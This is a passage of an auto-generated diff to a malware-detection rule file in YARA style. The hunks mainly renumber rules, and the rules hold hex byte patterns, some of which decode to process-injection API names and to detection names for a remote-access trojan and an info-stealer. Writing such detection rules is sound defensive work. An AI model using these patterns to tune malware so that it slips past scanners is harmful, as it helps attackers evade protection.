_InfrastructureShared_20828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -243907,7 +258856,7 @@ rule _InfrastructureShared_19622{ ((#a_6b_0 & 1)*17955+(#a_d3_1 & 1)*24019+(#a_61_2 & 1)*15367+(#a_66_3 & 1)*-7426+(#a_2e_4 & 1)*28496+(#a_00_6 & 1)*85+(#a_00_7 & 1)*101+(#a_00_8 & 1)*46+(#a_6d_9 & 1)*29535) >=1 } -rule _InfrastructureShared_19623{ +rule _InfrastructureShared_20829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -243921,7 +258870,7 @@ rule _InfrastructureShared_19623{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_00_3 & 1)*108+(#a_00_5 & 1)*101+(#a_00_6 & 1)*117) >=3 } -rule _InfrastructureShared_19624{ +rule _InfrastructureShared_20830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " @@ -243942,7 +258891,7 @@ rule _InfrastructureShared_19624{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*13874+(#a_70_2 & 1)*28718+(#a_5c_3 & 1)*29281+(#a_0c_4 & 1)*-30436+(#a_6a_5 & 1)*20928+(#a_54_6 & 1)*21076+(#a_6c_7 & 1)*17198+(#a_00_8 & 1)*105+(#a_00_9 & 1)*109+(#a_00_10 & 1)*101+(#a_00_11 & 1)*-3208) >=6 } -rule _InfrastructureShared_19625{ +rule _InfrastructureShared_20831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -243957,7 +258906,7 @@ rule _InfrastructureShared_19625{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*27242+(#a_01_2 & 1)*28265+(#a_00_3 & 1)*97+(#a_00_5 & 1)*73+(#a_00_7 & 1)*107) >=8 } -rule _InfrastructureShared_19626{ +rule _InfrastructureShared_20832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -243975,7 +258924,7 @@ rule _InfrastructureShared_19626{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27507+(#a_68_2 & 1)*25711+(#a_70_3 & 1)*29287+(#a_2e_4 & 1)*25966+(#a_48_6 & 1)*22272+(#a_01_7 & 1)*-29299+(#a_02_8 & 1)*400+(#a_48_9 & 1)*400) >=10 } -rule _InfrastructureShared_19627{ +rule _InfrastructureShared_20833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -243988,7 +258937,7 @@ rule _InfrastructureShared_19627{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*-30391+(#a_6f_3 & 1)*29253+(#a_00_5 & 1)*110) >=1 } -rule _InfrastructureShared_19628{ +rule _InfrastructureShared_20834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -244000,7 +258949,7 @@ rule _InfrastructureShared_19628{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120+(#a_00_3 & 1)*87) >=2 } -rule _InfrastructureShared_19629{ +rule _InfrastructureShared_20835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -244015,7 +258964,7 @@ rule _InfrastructureShared_19629{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_2d_3 & 1)*23085+(#a_00_4 & 1)*95+(#a_54_5 & 1)*25697+(#a_41_6 & 1)*11617) >=3 } -rule _InfrastructureShared_19630{ +rule _InfrastructureShared_20836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 05 00 07 00 21 " @@ -244029,7 +258978,7 @@ rule _InfrastructureShared_19630{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*29537+(#a_2f_2 & 1)*29230+(#a_65_3 & 1)*27745+(#a_3a_4 & 1)*323) >=5 } -rule _InfrastructureShared_19631{ +rule _InfrastructureShared_20837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -244041,7 +258990,7 @@ rule _InfrastructureShared_19631{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_6e_3 & 1)*0) >=11 } -rule _InfrastructureShared_19632{ +rule _InfrastructureShared_20838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -244060,7 +259009,7 @@ rule _InfrastructureShared_19632{ ((#a_46_0 & 1)*16675+(#a_38_2 & 1)*13057+(#a_35_3 & 1)*14644+(#a_35_4 & 1)*14694+(#a_38_5 & 1)*14694+(#a_35_6 & 1)*11570+(#a_01_7 & 1)*9216+(#a_23_8 & 1)*26+(#a_73_9 & 1)*2048+(#a_25_10 & 1)*29805) >=1 } -rule _InfrastructureShared_19633{ +rule _InfrastructureShared_20839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 1a 00 21 " @@ -244095,7 +259044,7 @@ rule _InfrastructureShared_19633{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*25376+(#a_01_2 & 1)*3+(#a_01_3 & 1)*3+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_01_7 & 1)*3+(#a_01_8 & 1)*3+(#a_01_9 & 1)*3+(#a_01_10 & 1)*3+(#a_01_11 & 1)*3+(#a_01_12 & 1)*3+(#a_01_13 & 1)*3+(#a_01_14 & 1)*3+(#a_01_15 & 1)*3+(#a_01_16 & 1)*3+(#a_01_17 & 1)*3+(#a_01_18 & 1)*3+(#a_01_19 & 1)*3+(#a_f5_20 & 1)*0+(#a_65_21 & 1)*29295+(#a_6e_22 & 1)*27749+(#a_63_23 & 1)*19804+(#a_6e_24 & 1)*29806+(#a_00_25 & 1)*296) >=7 } -rule _InfrastructureShared_19634{ +rule _InfrastructureShared_20840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -244113,7 +259062,7 @@ rule _InfrastructureShared_19634{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27756+(#a_54_2 & 1)*385+(#a_00_3 & 1)*25956+(#a_75_4 & 1)*385+(#a_73_5 & 1)*29545+(#a_73_6 & 1)*28521+(#a_79_7 & 1)*385+(#a_00_9 & 1)*67) >=11 } -rule _InfrastructureShared_19635{ +rule _InfrastructureShared_20841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -244126,7 +259075,7 @@ rule _InfrastructureShared_19635{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=2 } -rule _InfrastructureShared_19636{ +rule _InfrastructureShared_20842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -244143,7 +259092,7 @@ rule _InfrastructureShared_19636{ ((#a_46_0 & 1)*16675+(#a_3b_1 & 1)*9267+(#a_3c_2 & 1)*15136+(#a_74_3 & 1)*15162+(#a_34_4 & 1)*25649+(#a_75_5 & 1)*12289+(#a_85_6 & 1)*-25597+(#a_01_7 & 1)*-31672) >=2 } -rule _InfrastructureShared_19637{ +rule _InfrastructureShared_20843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 09 00 21 " @@ -244160,7 +259109,7 @@ rule _InfrastructureShared_19637{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*111+(#a_00_4 & 1)*104+(#a_00_5 & 1)*116+(#a_01_6 & 1)*4+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2) >=12 } -rule _InfrastructureShared_19638{ +rule _InfrastructureShared_20844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -244183,7 +259132,7 @@ rule _InfrastructureShared_19638{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12848+(#a_44_2 & 1)*13105+(#a_39_3 & 1)*12343+(#a_01_4 & 1)*28265+(#a_01_5 & 1)*3072+(#a_57_6 & 1)*29801+(#a_6f_7 & 1)*25938+(#a_50_8 & 1)*21024+(#a_62_9 & 1)*28245+(#a_30_10 & 1)*29793+(#a_2b_11 & 1)*281+(#a_3a_12 & 1)*21587+(#a_00_14 & 1)*115) >=16 } -rule _InfrastructureShared_19639{ +rule _InfrastructureShared_20845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0f 00 21 " @@ -244206,7 +259155,7 @@ rule _InfrastructureShared_19639{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28002+(#a_20_2 & 1)*20306+(#a_65_3 & 1)*25185+(#a_20_4 & 1)*11099+(#a_74_5 & 1)*25445+(#a_00_6 & 1)*101+(#a_00_7 & 1)*61+(#a_00_8 & 1)*105+(#a_00_9 & 1)*65+(#a_00_10 & 1)*116+(#a_65_11 & 1)*29295+(#a_00_12 & 1)*116+(#a_00_14 & 1)*49) >=4 } -rule _InfrastructureShared_19640{ +rule _InfrastructureShared_20846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 04 00 08 00 21 " @@ -244220,7 +259169,7 @@ rule _InfrastructureShared_19640{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*102+(#a_00_3 & 1)*38+(#a_00_5 & 1)*101+(#a_00_7 & 1)*82) >=4 } -rule _InfrastructureShared_19641{ +rule _InfrastructureShared_20847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -244235,7 +259184,7 @@ rule _InfrastructureShared_19641{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_f8_5 & 1)*0) >=6 } -rule _InfrastructureShared_19642{ +rule _InfrastructureShared_20848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -244247,7 +259196,7 @@ rule _InfrastructureShared_19642{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*37+(#a_00_2 & 1)*110) >=1 } -rule _InfrastructureShared_19643{ +rule _InfrastructureShared_20849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -244265,7 +259214,7 @@ rule _InfrastructureShared_19643{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_3 & 1)*97+(#a_65_4 & 1)*20225+(#a_63_5 & 1)*30322+(#a_6f_6 & 1)*12136+(#a_00_8 & 1)*111+(#a_00_10 & 1)*48+(#a_30_11 & 1)*11585) >=3 } -rule _InfrastructureShared_19644{ +rule _InfrastructureShared_20850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -244282,7 +259231,7 @@ rule _InfrastructureShared_19644{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*14637+(#a_41_2 & 1)*11568+(#a_09_3 & 1)*6544+(#a_2d_4 & 1)*31277+(#a_41_5 & 1)*11568+(#a_2d_6 & 1)*2305+(#a_31_7 & 1)*17733) >=4 } -rule _InfrastructureShared_19645{ +rule _InfrastructureShared_20851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -244301,7 +259250,7 @@ rule _InfrastructureShared_19645{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27996+(#a_65_2 & 1)*29295+(#a_6e_3 & 1)*25961+(#a_6b_4 & 1)*28532+(#a_73_5 & 1)*29812+(#a_46_6 & 1)*17737+(#a_00_7 & 1)*115+(#a_00_8 & 1)*93+(#a_00_9 & 1)*46) >=10 } -rule _InfrastructureShared_19646{ +rule _InfrastructureShared_20852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -244319,7 +259268,7 @@ rule _InfrastructureShared_19646{ ((#a_53_0 & 1)*20515+(#a_66_1 & 1)*14646+(#a_64_2 & 1)*19027+(#a_00_4 & 1)*101+(#a_00_5 & 1)*106+(#a_46_6 & 1)*16675+(#a_41_7 & 1)*11568+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637) >=10 } -rule _InfrastructureShared_19647{ +rule _InfrastructureShared_20853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -244335,7 +259284,7 @@ rule _InfrastructureShared_19647{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_30_4 & 1)*11585+(#a_30_5 & 1)*300+(#a_2c_6 & 1)*2) >=4 } -rule _InfrastructureShared_19648{ +rule _InfrastructureShared_20854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 16 00 05 00 21 " @@ -244347,7 +259296,7 @@ rule _InfrastructureShared_19648{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_0d_4 & 1)*1025) >=22 } -rule _InfrastructureShared_19649{ +rule _InfrastructureShared_20855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -244358,7 +259307,7 @@ rule _InfrastructureShared_19649{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*400) >=2 } -rule _InfrastructureShared_19650{ +rule _InfrastructureShared_20856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -244371,7 +259320,7 @@ rule _InfrastructureShared_19650{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_2d_2 & 1)*14637+(#a_00_4 & 1)*84) >=6 } -rule _InfrastructureShared_19651{ +rule _InfrastructureShared_20857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -244388,7 +259337,7 @@ rule _InfrastructureShared_19651{ ((#a_66_0 & 1)*21283+(#a_61_1 & 1)*21251+(#a_57_2 & 1)*3376+(#a_5c_3 & 1)*24576+(#a_00_5 & 1)*105+(#a_00_6 & 1)*69+(#a_2f_7 & 1)*13105+(#a_74_8 & 1)*16748) >=9 } -rule _InfrastructureShared_19652{ +rule _InfrastructureShared_20858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -244415,7 +259364,7 @@ rule _InfrastructureShared_19652{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*28532+(#a_63_2 & 1)*25933+(#a_6f_3 & 1)*28793+(#a_74_4 & 1)*28781+(#a_2f_5 & 1)*27183+(#a_65_6 & 1)*29285+(#a_6f_7 & 1)*28279+(#a_2f_8 & 1)*-32755+(#a_6f_9 & 1)*26214+(#a_3a_10 & 1)*17744+(#a_00_12 & 1)*112+(#a_00_13 & 1)*47+(#a_00_15 & 1)*114+(#a_00_17 & 1)*99+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_fb_21 & 1)*0) >=22 } -rule _InfrastructureShared_19653{ +rule _InfrastructureShared_20859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 19 00 21 " @@ -244440,7 +259389,7 @@ rule _InfrastructureShared_19653{ ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*27694+(#a_01_2 & 1)*3840+(#a_01_3 & 1)*29543+(#a_6d_4 & 1)*25390+(#a_01_5 & 1)*30720+(#a_00_7 & 1)*116+(#a_00_9 & 1)*118+(#a_00_11 & 1)*80+(#a_00_12 & 1)*100+(#a_00_14 & 1)*68+(#a_00_17 & 1)*68+(#a_00_19 & 1)*58+(#a_00_21 & 1)*104+(#a_00_23 & 1)*125+(#a_61_24 & 1)*11574) >=1 } -rule _InfrastructureShared_19654{ +rule _InfrastructureShared_20860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -244455,7 +259404,7 @@ rule _InfrastructureShared_19654{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*65+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1) >=3 } -rule _InfrastructureShared_19655{ +rule _InfrastructureShared_20861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -244468,7 +259417,7 @@ rule _InfrastructureShared_19655{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*46+(#a_00_3 & 1)*71+(#a_00_4 & 1)*100) >=6 } -rule _InfrastructureShared_19656{ +rule _InfrastructureShared_20862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -244483,7 +259432,7 @@ rule _InfrastructureShared_19656{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*32+(#a_00_2 & 1)*101+(#a_00_3 & 1)*84+(#a_00_5 & 1)*115+(#a_00_7 & 1)*76) >=8 } -rule _InfrastructureShared_19657{ +rule _InfrastructureShared_20863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 21 " @@ -244502,7 +259451,7 @@ rule _InfrastructureShared_19657{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*27236+(#a_01_2 & 1)*5632+(#a_66_3 & 1)*28520+(#a_00_4 & 1)*25701+(#a_68_5 & 1)*385+(#a_45_6 & 1)*21072+(#a_08_7 & 1)*10496+(#a_01_9 & 1)*10253+(#a_00_10 & 1)*75) >=9 } -rule _InfrastructureShared_19658{ +rule _InfrastructureShared_20864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -244520,7 +259469,7 @@ rule _InfrastructureShared_19658{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*9728+(#a_00_3 & 1)*115+(#a_00_4 & 1)*61+(#a_00_6 & 1)*65+(#a_41_7 & 1)*12869+(#a_31_8 & 1)*17202+(#a_37_9 & 1)*17460+(#a_38_10 & 1)*13113) >=11 } -rule _InfrastructureShared_19659{ +rule _InfrastructureShared_20865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 01 00 07 00 21 " @@ -244536,7 +259485,7 @@ rule _InfrastructureShared_19659{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*16384+(#a_42_2 & 1)*13880+(#a_01_3 & 1)*13381+(#a_34_4 & 1)*12597+(#a_31_5 & 1)*17205+(#a_38_6 & 1)*12869) >=1 } -rule _InfrastructureShared_19660{ +rule _InfrastructureShared_20866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0d 00 21 " @@ -244557,7 +259506,7 @@ rule _InfrastructureShared_19660{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*6400+(#a_00_2 & 1)*29285+(#a_73_3 & 1)*385+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_fc_10 & 1)*0+(#a_73_11 & 1)*25970) >=5 } -rule _InfrastructureShared_19661{ +rule _InfrastructureShared_20867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -244571,7 +259520,7 @@ rule _InfrastructureShared_19661{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*8298+(#a_00_2 & 1)*87+(#a_00_4 & 1)*92+(#a_00_5 & 1)*119) >=6 } -rule _InfrastructureShared_19662{ +rule _InfrastructureShared_20868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -244586,7 +259535,7 @@ rule _InfrastructureShared_19662{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*84+(#a_00_3 & 1)*119+(#a_00_6 & 1)*69+(#a_00_7 & 1)*116+(#a_00_8 & 1)*97) >=10 } -rule _InfrastructureShared_19663{ +rule _InfrastructureShared_20869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff9e 00 6a 00 0f 00 21 " @@ -244608,7 +259557,7 @@ rule _InfrastructureShared_19663{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*118+(#a_00_3 & 1)*117+(#a_02_5 & 1)*50+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_02_13 & 1)*1+(#a_02_14 & 1)*1) >=106 } -rule _InfrastructureShared_19664{ +rule _InfrastructureShared_20870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 11 00 21 " @@ -244633,7 +259582,7 @@ rule _InfrastructureShared_19664{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_00_15 & 1)*0) >=3 } -rule _InfrastructureShared_19665{ +rule _InfrastructureShared_20871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -244651,7 +259600,7 @@ rule _InfrastructureShared_19665{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*9984+(#a_00_2 & 1)*119+(#a_00_4 & 1)*66+(#a_61_5 & 1)*281+(#a_19_6 & 1)*1+(#a_65_7 & 1)*24943+(#a_69_8 & 1)*29540+(#a_01_9 & 1)*13312) >=5 } -rule _InfrastructureShared_19666{ +rule _InfrastructureShared_20872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -244670,7 +259619,7 @@ rule _InfrastructureShared_19666{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*10280+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_fd_9 & 1)*0) >=10 } -rule _InfrastructureShared_19667{ +rule _InfrastructureShared_20873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 14 00 21 " @@ -244693,7 +259642,7 @@ rule _InfrastructureShared_19667{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*28014+(#a_00_2 & 1)*82+(#a_00_3 & 1)*41+(#a_67_5 & 1)*384+(#a_09_6 & 1)*112+(#a_00_9 & 1)*114+(#a_00_11 & 1)*79+(#a_00_13 & 1)*144+(#a_00_15 & 1)*109+(#a_68_16 & 1)*8292+(#a_6f_17 & 1)*29795+(#a_61_18 & 1)*29550+(#a_72_19 & 1)*17696) >=18 } -rule _InfrastructureShared_19668{ +rule _InfrastructureShared_20874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc9 00 ffffffc9 00 1e 00 21 " @@ -244715,21 +259664,21 @@ rule _InfrastructureShared_19668{ $a_64_16 = {6f 6e 74 65 78 74 01 00 10 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 12 01 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 01 00 10 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 14 01 43 72 79 } //25970 $a_63_17 = {75 69 72 65 43 6f 6e 74 65 78 74 41 01 00 14 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 41 01 00 16 01 43 72 65 61 74 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 6c 6f 63 6b 01 00 17 } //29808 $a_73_18 = {72 6f 79 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 6c 6f 63 6b 01 00 19 01 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 01 00 10 01 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 01 00 26 01 47 65 6e 75 69 6e 65 49 6e 74 65 6c 41 75 74 68 65 6e 74 69 63 41 4d 44 43 65 6e 74 61 } //17409 - $a_61_19 = {6c 73 37 7a 00 00 78 ff 01 00 01 00 01 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6d 70 65 72 6d 69 6e 74 2e 46 21 64 68 61 00 01 00 61 02 65 76 61 69 62 61 64 61 6e 62 67 6b 71 } //29301 - $a_67_20 = {77 30 62 61 71 65 66 61 61 73 63 62 6b 79 77 67 67 73 69 61 67 65 61 61 6f 69 62 61 71 64 68 6a 78 39 64 76 35 90 01 0a 7a 63 39 39 68 6e 65 64 64 79 75 76 73 36 33 72 65 76 65 70 67 31 73 79 63 39 6a 79 68 72 62 6f 75 75 6f 76 72 90 00 01 00 49 02 65 70 71 69 62 61 61 6b 63 61 71 65 61 37 73 75 63 78 68 61 2b 65 } //27496 - $a_6a_21 = {37 65 67 6f 6b 6d 31 90 01 0a 77 72 73 65 69 70 68 78 74 6d 71 64 73 78 77 63 6c 6a 38 66 61 62 73 2b 64 6b 6f 61 6d 6f 62 61 67 2b 90 00 01 00 5f 02 65 76 67 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 67 77 67 67 73 6b 61 67 65 61 61 6f 69 62 61 71 } //12849 - $a_67_22 = {31 76 6e 31 74 70 7a 31 70 68 33 90 01 0a 2b 77 76 74 33 36 6c 7a 72 70 71 70 6b 69 34 69 78 30 34 69 74 6c 6c 63 6d 61 75 90 00 01 00 59 02 65 70 61 69 62 61 61 6b } //28516 - $a_65_23 = {37 7a 37 69 77 6d 77 79 6b 6c 7a 77 73 37 77 63 68 6d 36 76 71 68 33 69 6c 6c 77 63 6f 76 6e 6a 6c 62 62 73 64 75 66 7a 90 01 0a 70 67 6e 6f 6a 39 6c 79 6c 75 78 71 6e 6a 62 31 74 73 6f 68 31 30 6c 34 64 63 32 69 75 6f 68 90 00 01 00 5a 02 65 76 77 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 6b 77 } //24931 - $a_6c_24 = {67 65 61 61 6f 69 62 61 71 64 62 61 90 01 0a 70 66 6d 6b 63 6b 69 68 74 6d 78 61 68 30 67 7a 79 69 74 63 62 66 31 2b 6a 37 6c 33 64 77 67 68 62 65 6f 90 00 00 00 78 ff 01 00 01 00 01 00 0b 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 41 73 79 6e 63 52 41 54 5f 43 5f 53 68 61 72 70 } //26471 - $a_39_26 = {37 36 31 32 2d 64 66 65 61 2d 34 34 32 61 2d 61 39 32 37 2d 64 39 39 37 66 39 39 63 34 39 37 62 01 00 24 80 01 34 32 34 62 38 31 62 65 2d 32 66 61 } //13825 - $a_31_27 = {66 2d 62 34 62 63 2d 30 30 63 63 62 65 33 38 34 39 31 66 01 00 24 80 01 33 37 65 32 30 62 61 66 2d 33 35 37 37 2d 34 63 64 39 2d 62 62 33 39 2d 31 38 36 37 } //11619 - $a_34_28 = {32 35 35 01 00 24 80 01 64 61 66 65 36 38 36 61 2d 34 36 31 62 2d 34 30 32 62 2d 62 62 64 37 2d 32 61 32 66 34 63 38 37 63 37 37 33 01 00 24 80 01 65 65 30 33 } //14389 - $a_39_29 = {63 39 65 38 2d 34 37 36 36 2d 62 64 34 65 2d 35 63 64 35 34 63 37 66 31 33 64 33 01 00 24 80 01 38 62 66 63 38 65 64 32 2d 37 31 63 63 2d 34 39 64 63 2d 39 30 32 30 2d 32 63 38 31 39 39 62 63 32 37 62 36 01 00 24 80 01 64 36 34 30 63 33 36 62 2d 32 63 36 36 2d 34 34 39 62 2d 61 31 34 35 2d } //24934 + $a_61_19 = {6c 73 37 7a 00 00 78 fe 01 00 34 00 34 00 11 00 21 23 48 53 54 52 3a 4d 61 73 73 4c 6f 67 67 65 72 2e 44 53 4b 00 32 00 25 80 01 24 65 33 62 31 65 33 63 35 2d 64 35 36 32 2d 34 36 62 62 2d 39 66 36 32 2d 63 61 39 38 } //29301 + $a_62_20 = {39 38 61 32 00 25 80 01 24 36 61 32 66 38 33 32 63 2d 65 64 33 32 2d 34 32 61 33 2d 38 33 66 64 2d 38 63 34 34 65 63 34 34 61 33 35 64 32 